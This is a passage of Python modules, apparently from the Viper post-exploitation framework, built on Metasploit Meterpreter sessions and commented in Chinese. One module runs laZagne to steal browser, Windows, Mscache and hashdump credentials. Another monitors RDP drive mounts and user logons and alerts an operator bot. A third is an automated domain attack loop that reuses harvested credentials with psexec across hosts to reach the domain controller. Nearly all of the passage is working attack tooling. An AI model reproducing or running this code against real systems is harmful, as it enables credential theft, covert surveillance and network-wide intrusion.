                            outputstr = "用户:{} 主机名:{} IP地址:{} 主机域名:{} 本地管理员:{}".format(
                                one.get('UserName'),
                                one.get('ComputerName'),
                                one.get('IPAddress'),
                                one.get('UserDomain'),
                                one.get('LocalAdmin'),
                            )
                            self.log_good(outputstr)
                    except Exception as E:
                        pass
                elif isinstance(powershell_json_output, dict):
                    one = powershell_json_output
                    if one.get('UserName').endswith('$'):
                        return
                    outputstr = "用户:{} 主机名:{} IP地址:{} 主机域名:{} 本地管理员:{}".format(
                        one.get('UserName'),
                        one.get('ComputerName'),
                        one.get('IPAddress'),
                        one.get('UserDomain'),
                        one.get('LocalAdmin'),
                    )
                    self.log_good(outputstr)
                else:
                    self.log_error("脚本无有效输出")
                    self.log_error(powershell_json_output)

            else:
                self.log_error("脚本无有效输出")
        else:
            self.log_error("模块执行失败")
            self.log_error(message)
Exemple #13
0
class PostModule(PostMSFExecPEModule):
    NAME = "获取Windows常用软件密码"
    DESC = "模块使用lazagne尝试获取系统密码信息,默认功能会尝试获取浏览器存储的密码.\n" \
           "(如果需要获取更多密码信息,可尝试使用all参数,但可能会超时)"
    MODULETYPE = TAG2CH.Credential_Access
    PLATFORM = ["Windows"]  # 平台
    PERMISSIONS = ["User", "Administrator", "SYSTEM", ]  # 所需权限
    ATTCK = ["T1081"]  # ATTCK向量
    REFERENCES = ["https://attack.mitre.org/techniques/T1081/"]
    AUTHOR = "Viper"

    OPTIONS = register_options([
        Option(name='Type', name_tag="密码类型", type='enum', required=True, desc="选择需要收集的密码类型,ALL为全部收集",
               default='browsers',
               enum_list=[
                   {'name': '全部', 'value': 'all'},
                   {'name': '浏览器', 'value': 'browsers'},
                   {'name': 'windows', 'value': 'windows'},
                   {'name': 'SVN', 'value': 'svn'},
                   {'name': 'git', 'value': 'git'},
                   {'name': '邮箱', 'value': 'mails'},
                   {'name': 'wifi', 'value': 'wifi'},
                   {'name': '内存', 'value': 'memory'},
                   {'name': '数据库', 'value': 'databases'},
                   {'name': 'php', 'value': 'php'},
                   {'name': 'sysadmin', 'value': 'sysadmin'},
                   {'name': 'maven', 'value': 'maven'},
                   {'name': '聊天工具', 'value': 'chats'},

               ]),
    ])

    def __init__(self, sessionid, hid, custom_param):
        super().__init__(sessionid, hid, custom_param)
        self.set_pepath('laZagne.exe')

        if self.param('Type') is None:
            self.set_args('browsers')
        else:
            self.set_args(self.param('Type'))

    def check(self):
        """执行前的检查函数"""
        session = Session(self._sessionid)
        if session.is_windows:
            return True, None
        else:
            return False, "此模块只支持Windows的Meterpreter"

    def callback(self, status, message, data):
        if status is not True:
            self.log_error("模块执行失败")
            self.log_error(message)
            return

        passwords_dict = []
        host_ipaddress = Host.get_ipaddress(self._hid)

        try:
            result = re.search('##########OUTPPUTFORJSON=(\S+)', data).groups()[0]
            passwords_dict = json.loads(base64.b64decode(result))
            pass
        except Exception as E:
            pass
        password_count = 0
        for user_password in passwords_dict:
            windows_user = user_password.get('User')
            passwords = user_password.get('Passwords')
            if isinstance(passwords, list):  # 检查是否抓取到了密码
                for category_passwords in passwords:
                    category = category_passwords[0].get('Category')
                    if category in ['Google chrome','Firefox' ]:  # 表示是浏览器
                        for login_password in category_passwords[1]:
                            try:
                                url = login_password.get('URL')
                            except Exception as E:
                                url = None
                                pass
                            if url is not None:
                                url = login_password.get('URL')
                                username = login_password.get('Login')
                                password = login_password.get('Password')
                                Credential.add_credential(username=username, password=password,
                                                          password_type='browsers',
                                                          # tag={'url': url, 'user': windows_user, 'browser': category},
                                                          tag={'url': url, 'browser': category},
                                                          source_module=self.NAME, host_ipaddress=host_ipaddress,
                                                          desc='')
                                password_count += 1
                    elif category == 'Mscache':
                        try:
                            for login_password in category_passwords[1]:
                                datalist = login_password.split(':')
                                username = datalist[0]
                                password = datalist[1]
                                domain = datalist[2]
                                tag = {'domain': domain, 'type': 'Mscache'}
                                Credential.add_credential(username=username, password=password,
                                                          password_type='windows', tag=tag,
                                                          source_module=self.NAME, host_ipaddress=host_ipaddress,
                                                          desc=datalist[3])
                                password_count += 1
                        except Exception as E:
                            pass
                    elif category == 'Hashdump':
                        try:
                            for login_password in category_passwords[1]:
                                datalist = login_password.split(':')
                                username = datalist[0]
                                sid = datalist[1]
                                password = "******".format(datalist[2], datalist[3])
                                domain = "local"
                                tag = {'domain': domain, 'type': 'Hashdump', 'sid': sid}
                                Credential.add_credential(username=username, password=password,
                                                          password_type='windows', tag=tag,
                                                          source_module=self.NAME, host_ipaddress=host_ipaddress,
                                                          desc='')
                                password_count += 1
                        except Exception as E:
                            pass
                    elif category == 'Windows':
                        try:
                            for login_password in category_passwords[1]:
                                username = login_password.get('Login')
                                password = login_password.get('Password')
                                domain = "local"
                                tag = {'domain': domain, 'type': 'Windows', }
                                Credential.add_credential(username=username, password=password,
                                                          password_type='windows', tag=tag,
                                                          source_module=self.NAME, host_ipaddress=host_ipaddress,
                                                          desc='')
                                password_count += 1
                        except Exception as E:
                            pass
                    else:
                        print(category_passwords)

        format_output = "运行完成,共找到 {} 个密码,可以在<数据管理>-<凭证> 页面查看".format(password_count)
        self.log_good(format_output)
Exemple #14
0
class PostModule(PostMSFRawModule):
    NAME = "RDP挂盘&登录监控"
    DESC = "对Session所在主机RDP挂盘/新用户登录监控,并提醒(Bot,WEB控制台)\n" \
           "(此模块需配合DarkGuardian使用)"
    MODULETYPE = TAG2CH.Collection
    PLATFORM = ["Windows"]  # 平台
    PERMISSIONS = [
        "User",
        "Administrator",
        "SYSTEM",
    ]  # 所需权限
    ATTCK = ["T1039"]  # ATTCK向量
    REFERENCES = [
        "https://attack.mitre.org/techniques/T1039/",
        "https://github.com/FunnyWolf/DarkGuardian"
    ]
    AUTHOR = "Viper"

    REQUIRE_SESSION = True
    OPTIONS = register_options([
        Option(name='DarkGuardian_path',
               name_tag="DarkGuardian目录",
               type='str',
               required=False,
               desc="DarkGuardian可执行文件所在目录",
               option_length=12),
    ])

    def __init__(self, sessionid, hid, custom_param):
        super().__init__(sessionid, hid, custom_param)
        self.type = "post"
        self.mname = "windows/gather/session_monitor"

    def check(self):
        """执行前的检查函数"""
        DarkGuardian_path = self.param("DarkGuardian_path")
        self.set_option(key='DarkGuardian_path', value=DarkGuardian_path)
        from PostModule.lib.Session import Session
        session = Session(self._sessionid)
        if session.is_alive:
            pass
        else:
            return False, "Session不可用"
        if session.is_windows:
            pass
        else:
            return False, "模块只支持Windows系统"
        return True, None

    def callback(self, status, message, data):
        hostinfo = Host.get_host(self._hid)
        self.log_good("获取监控信息")

        if status:
            alertstr = "IP: {} 注释: {} Session监控模块有新信息 ".format(
                hostinfo.get("ipaddress"),
                hostinfo.get("comment"),
            )
            Notices.send_alert(alertstr)
            if message == "RDP_NOTICES":
                if isinstance(data, str):
                    if "share_disk" in data:
                        share_disk_info = json.loads(data)
                        timeStamp = share_disk_info.get("update_time")

                        logstr = "IP: {} \n注释: {} \nSID: {} \n盘符: {} \n挂载时间: {}".format(
                            hostinfo.get("ipaddress"),
                            hostinfo.get("comment"),
                            self._sessionid,
                            share_disk_info.get("share_disk"),
                            self.timeStampToStr(timeStamp),
                        )
                        smsstr = "IP: {}      注释: {}       SID: {}        盘符: {}        挂载时间: {}".format(
                            hostinfo.get("ipaddress"),
                            hostinfo.get("comment"),
                            self._sessionid,
                            share_disk_info.get("share_disk"),
                            self.timeStampToStr(timeStamp),
                        )
                        self.log_raw(logstr)
                        if Notices.send_sms(smsstr):
                            self.log_good("发送Bot提醒成功")
                        else:
                            self.log_error("发送Bot提醒失败")
            elif message == "LOGGED_ON_USERS":
                if isinstance(data, list):
                    logstr = "IP: {} \n注释: {} \nSID: {} \n登录用户:\n".format(
                        hostinfo.get("ipaddress"),
                        hostinfo.get("comment"),
                        self._sessionid,
                    )
                    self.log_raw(logstr)
                    for logged_on_user in data:
                        for key in logged_on_user:
                            logstr = "USER: {} SID: {} \n".format(
                                logged_on_user.get(key),
                                key,
                            )
                            self.log_raw(logstr)
                    smsstr = "IP: {}  注释: {}  SID: {}  登录用户: {}  ".format(
                        hostinfo.get("ipaddress"),
                        hostinfo.get("comment"),
                        self._sessionid,
                        data,
                    )
                    if Notices.send_sms(smsstr):
                        self.log_good("发送Bot提醒成功")
                    else:
                        self.log_error("发送Bot提醒失败")

        else:
            self.log_error("模块执行失败")
            self.log_error(message)
class PostModule(PostPythonModule):
    NAME = "Windows域攻击性爬虫"
    DESC = "模块内部通过提权,嗅探,扫描等操作,通过域内主机的单一权限尝试获取域控服务器控制权(请注意,模块具有高危险性,可能导致域内主机崩溃)"
    REQUIRE_SESSION = True
    MODULETYPE = TAG2CH.Lateral_Movement
    OPTIONS = register_options([
        Option(name=HANDLER_OPTION.get('name'),
               name_tag=HANDLER_OPTION.get('name_tag'),
               type=HANDLER_OPTION.get('type'),
               required=True,
               desc=HANDLER_OPTION.get('desc'),
               enum_list=[],
               option_length=HANDLER_OPTION.get('option_length')),
    ])

    def __init__(self, sessionid, hid, custom_param):
        super().__init__(sessionid, hid, custom_param)
        self.domain_controller = None
        self.domain_hosts = []
        self.domain_hosts_has_session = []  # 已获取管理员Session权限的主机列表
        self.domain_hosts_has_mimi = []  # 已抓取过密码的主机列表
        self.credentials_used = []
        self.credentials_unuse = []

    def check(self):
        """执行前的检查函数"""
        session = Session(self._sessionid)
        if not session.is_windows:
            return False, "模块只支持Meterpreter类型的Session"
        if not session.is_in_domain:
            return False, "模块初始Sesion必须在域中"
        if not session.is_admin:
            return False, "模块初始Sesion必须拥有本地管理员权限"
        return True, None

    def get_domain_infos(self, sessionid):
        session_domain = Domain(sessionid)
        self.domain_controller = session_domain.get_domain_controller()
        self.domain_hosts = session_domain.get_domain_computers()

    @staticmethod
    def _get_sessionid(host):
        sessions = SessionList.list_sessions()
        for session in sessions:
            if session.get('session_host') in host.get('ipaddress'):
                return session.get('id')
        return None

    def gen_new_session(self):
        """尝试获取新的sesison"""
        tmp_cred_list = []
        for credential in self.credentials_unuse:  # 循环使用每个凭证
            tmp_cred_list.append(credential)
            for host in self.domain_hosts:
                if host not in self.domain_hosts_has_session:  # 判断主机是否已经拥有权限
                    handler = self.param(HANDLER_OPTION.get('name'))
                    for ipaddress in host.get('ipaddress'):
                        jobdict = MsfModuleAsFunction.psexec_exploit(
                            rhosts=ipaddress,
                            smbdomain=self.domain_controller.get('Domain'),
                            smbuser=credential.get('user'),
                            smbpass=credential.get('password'),
                            handler=handler)

                        self.log_status("尝试获取权限,IP地址:{} 任务ID:{}".format(
                            ipaddress, jobdict.get('job_id')))
                        time.sleep(5)
        # 清理已用的cred
        for one in tmp_cred_list:
            self.credentials_unuse.remove(one)
            self.credentials_used.append(one)

    def update_credentials_unuse(self):
        """更新未使用凭证"""
        for host in self.domain_hosts_has_session:
            if host not in self.domain_hosts_has_mimi:
                sessionid = self._get_sessionid(host)
                credentials = MsfModuleAsFunction.get_windows_password(
                    sessionid)
                if host not in self.domain_hosts_has_mimi:
                    self.domain_hosts_has_mimi.append(host)
                else:
                    print('error')

                for credential in credentials:
                    if credential.get('domain').lower(
                    ) in self.domain_controller.get('Domain'):
                        user_password = {
                            'user': credential.get('user'),
                            'password': credential.get('password')
                        }
                        if user_password not in self.credentials_used and user_password not in self.credentials_unuse:  # 未存储和使用过此密码
                            self.credentials_unuse.append(user_password)
                            self.log_good("发现可用凭证,用户名:{} 密码:{}".format(
                                user_password.get('user'),
                                user_password.get('password')))
                            time.sleep(5)

    def update_domain_hosts_has_session(self):
        """更新已获取权限列表"""
        sessions = SessionList.list_sessions()
        for domain_host in self.domain_hosts:
            for one_session in sessions:
                # 如果session_host存在于主机的列表中,再进行进一步权限检查
                if one_session.get('session_host') in domain_host.get(
                        'ipaddress'):
                    session_intent = Session(one_session.get('id'))
                    if session_intent.is_admin:  # 检查是否获取了admin权限
                        # 去重添加
                        if domain_host not in self.domain_hosts_has_session:
                            self.domain_hosts_has_session.append(domain_host)
                            self.log_good(
                                "发现新可用Session,SID:{} IP:{} 主机名:{}".format(
                                    session_intent.sessionid,
                                    session_intent.session_host,
                                    session_intent.computer))

    def run(self):
        self.clean_log()  # 清理历史结果
        self.log_raw("--------------------初始信息收集-------------------------\n")
        self.log_status("开始侦查域信息")
        self.get_domain_infos(self._sessionid)
        if self.domain_hosts == [] or self.domain_controller is None:
            self.log_error("侦查域信息失败,请确认初始Session拥有足够的域权限")
            return
        else:
            self.log_good("侦查域信息成功,域名称: {}".format(
                self.domain_controller.get('Domain')))
            self.log_good("侦查域信息成功,域控主机: {}".format(
                self.domain_controller.get('Name')))
            self.log_good("侦查域信息成功,域控主机版本: {}".format(
                self.domain_controller.get('OSVersion')))
            self.log_good("侦查域信息成功,域内主机数量: {}".format(len(self.domain_hosts)))

        self.log_raw("--------------------域内循环渗透-------------------------\n")
        self.update_domain_hosts_has_session()
        time.sleep(10)  # 等待30秒,session返回
        self.update_credentials_unuse()

        if self.credentials_unuse == [] or self.domain_hosts_has_session == []:
            self.log_error("抓取初始凭证失败,请确认初始Session拥有足够的权限")
            return
        else:
            self.log_good("抓取初始凭证成功,可用凭证数量: {}".format(
                len(self.credentials_unuse)))

        while True:
            self.gen_new_session()
            self.log_raw(
                "--------------------等待Session返回-------------------------\n")
            time.sleep(30)  # 等待30秒,session返回
            self.update_domain_hosts_has_session()
            time.sleep(10)  # 等待30秒,session返回
            self.update_credentials_unuse()
            if len(self.credentials_unuse) == 0:
                self.log_raw(
                    "--------------------循环渗透结束-------------------------\n")
                return